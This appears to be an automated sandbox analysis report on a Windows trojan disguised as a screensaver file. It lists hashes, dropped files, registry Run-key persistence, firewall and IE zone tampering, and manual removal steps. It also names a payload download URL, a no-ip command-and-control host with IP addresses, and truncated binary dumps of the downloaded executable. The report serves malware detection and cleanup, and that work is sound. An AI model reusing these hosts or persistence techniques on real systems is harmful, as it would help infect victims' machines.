MD5: 7cfc6dfbc9d4a022e6e2ca052dd88386
SHA1: b27f2f6a428283f2b0dde6c087a07507c60c7a74
SHA256: 02a27a90d785cdaf3fab9d2ffae3f867d68fdaae70e62a24ebc1c59173d27f85
SSDeep: 3072:q8H5MEUqM2IkiVmYWcJbhui nuClPf9B85MMMswMBtPLxuJ/QQ6xy2Q/ccccccDU:lUJbkv0BtPLQJ/QQ6xynG9 zgh 1
Size: 368640 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Microsoft Corporation
Created at: 2014-11-11 20:50:53
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

Application DatawLXfdPQMGC.exe:824
%original file name%.exe:1696
netsh.exe:1608

The Trojan injects its code into the following process(es):

rundll32.exe:228
server.exe:468

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process Application DatawLXfdPQMGC.exe:824 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)

The process %original file name%.exe:1696 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes)

Registry activity

The process Application DatawLXfdPQMGC.exe:824 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 08 3C 3C 3B ED 90 78 03 31 83 17 86 03 C4 D5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU]
"di" = "!"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = ""

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process %original file name%.exe:1696 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 2E FE 55 FC 41 4F 23 90 C4 09 A9 33 4C 5A 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings]
"Application DatawLXfdPQMGC.exe" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"shimgvw.dll" = "Windows Picture and Fax Viewer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process netsh.exe:1608 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 73 E9 53 9A D8 21 D7 01 D3 CA DB 20 C0 D2 3B"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp]
"server.exe" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe:*:Enabled:server.exe"

The process rundll32.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D 3D C4 41 59 E5 45 DA 8F A4 62 10 DE 69 32 6C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The process server.exe:468 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 B0 72 AB 5C D5 55 97 1E B1 42 7C E0 E7 08 1D"

[HKCU\Software\325b83d76017d2cf027ba1f90b42a6f7]
"[kl]" = ""

[HKCU]
"di" = "!"

[HKCU\Environment]
"SEE_MASK_NOZONECHECKS" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 0.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename: sara ali66.Scr
Internal Name: sara ali66.Scr
File Version: 0.0.0.0
File Description:
Comments:
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://samaup.com/do.php?down=11788
hxxp://www.samaup.com/do.php?down=11788	81.94.207.82
anemosajdabya2000.no-ip.org	41.252.194.79

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /do.php?down=11788 HTTP/1.1

Host: VVV.samaup.com

Connection: Keep-Alive

...... ..............rg..p...........*...0..;.......~....o....o....ri.
.p~....(.....o.....o......%(.....(......*.........,,.......0..D.......
~....o....o....ri..p~....(....o......(....o.......%(.......(.......*..
......22.......0..F.......~....o....o....ri..p~....(....o......(.....o
........%(.......(.......*..........44.......0..........r}..p~....(...
..r...prg..p(....rg..p.(....,0......(....r...p(....(........(....~....
(......k.r...prg..p(....(........(....r...p(....(........(....~....(..
....(%(......(........(....~....(.....(.......(....~....(...... %(....
...r...p~....(.....(.......(....~....(...... %(.......r...p~....(.....
(.......~....o........(........r...p(....~....(...... %(.......r...p~.
...(.....(.......rg..p~....(......~....o....o....r...prg..po ...r...pr
...po ...r...prg..po ...r...prg..po ...r...pr...po ...r...pr...po ...(
.......%(.......r...p(.....(.......r...p(.....(!...o"...r...p..(#.....
.....3..r...p(...............(.......%(.......r...p(.....(.......&($..
.r...po%...,..r...p~....(........r...p~....(.......%(.......~....(....
.(......(....,..r%..p~....(..... ..r-..p~....(......~....~....(......r
3..p~....(......(....~....(.....rg..p.~....o....o....ri..p~....(.....o
&...o'........ &.........o(.... 3....r9..p(.................2...%(....
..(........(....*....d.........(........... ........... ......-./\. ..
......r.........&.=c........~.9.........6.`........0...........(....()
...*.0...........P(*......(....*.0..........( ....Po,...*....0........
..( ....Po-...*....0..e........s.......s/.............o0....j.o1..
<<< skipped >>>

GET /do.php?down=11788 HTTP/1.1

Host: VVV.samaup.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Fri, 12 Dec 2014 10:19:41 GMT

Content-Type: application/octet-stream

Content-Length: 24064

Connection: keep-alive

X-Powered-By: PHP/5.3.29

Cache-Control: private, no-cache="set-cookie"

Expires: 0

Pragma: no-cache

P3P: CP="CUR ADM"

Content-Encoding: none

Content-Disposition: attachment; filename="Server.exe"

Accept-Ranges: bytes

Set-Cookie: sid=QkeMXEPl8r0P30DK6T5HshmSay5; expires=Sun, 14-Dec-2014 10:19:41 GMT; path=/

Set-Cookie: klj_efdc6_oldvistor=,11788,; expires=Sat, 13-Dec-2014 10:19:41 GMT; path=/; domain=.samaup.com; HttpOnly

Last-Modified: Thu, 25 Sep 2014 17:14:38 GMT
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....$T
.................V...........t... ........@.. ........................
[email protected].......@...........
................................................................. ....
........... ..H............text....T... ...V.................. ..`.rsr
[email protected]..............@[email protected]...............\............
[email protected].......,K..D)....../...................
.................................0..........r...p.....r;..p...........
rE..p.....r[..p.....re..p.....r...p.....r...p.....r...p.....r...p(....
.....r...p(.........r...p(.........r...p(.........(....o....s.........
s.....................r...p...........s....0..........( ....Po-...*...
.0..e........s.......s/.............o0....j.o1.......o2...&..(3.......
jo1....................o4...&.o5....o5....*....0..>............d(6.
......d......d(....,...........1...%(.....(.......*.*..........,,.....
..0..].......(......~7...(8...,.rg..p..@.(9...(......(6........o(...(.
...&..(.......%(.....rg..p.(.......*...........GG.......0..T.......r=.
.p(:...rU..p(...............................(....&.(;......%(.....rY..
p.(.......*........>>.......0..n........(<...o=....... T.....
.o>........ 6.......o?...ra..p.(....o@...,..oA....o?...oB...*......
......2..........2..*..(....*...0..w........oC...oD....oC...oD....(E..
.....*.oF.....oF.....oG...oD....oG...oD....(E......-..*.oH.....oH.
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

GDI32.dll

USER32.dll

IMAGEHLP.dll

rundll32.pdb

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

.manifest

5.1.2600.5512 (xpsp.080413-2105)

RUNDLL.EXE

Windows

Operating System

5.1.2600.5512

YThere is not enough memory to run the file %s.

Please close other windows and try again.

9The file %s or one of its components could not be opened.

0The file %s or one of its components cannot run.

MThe file %s or one of its components requires a different version of Windows.

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

Error in %s

Missing entry:%s

Error loading %s

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   Application DatawLXfdPQMGC.exe:824
   %original file name%.exe:1696
   netsh.exe:1608
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\server.exe (74 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application DatacLlPfYOPAw.jpg (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application DatawLXfdPQMGC.exe (74 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."
   
   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "325b83d76017d2cf027ba1f90b42a6f7" = "%Documents and Settings%\%current user%\Local Settings\Temp\server.exe .."

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.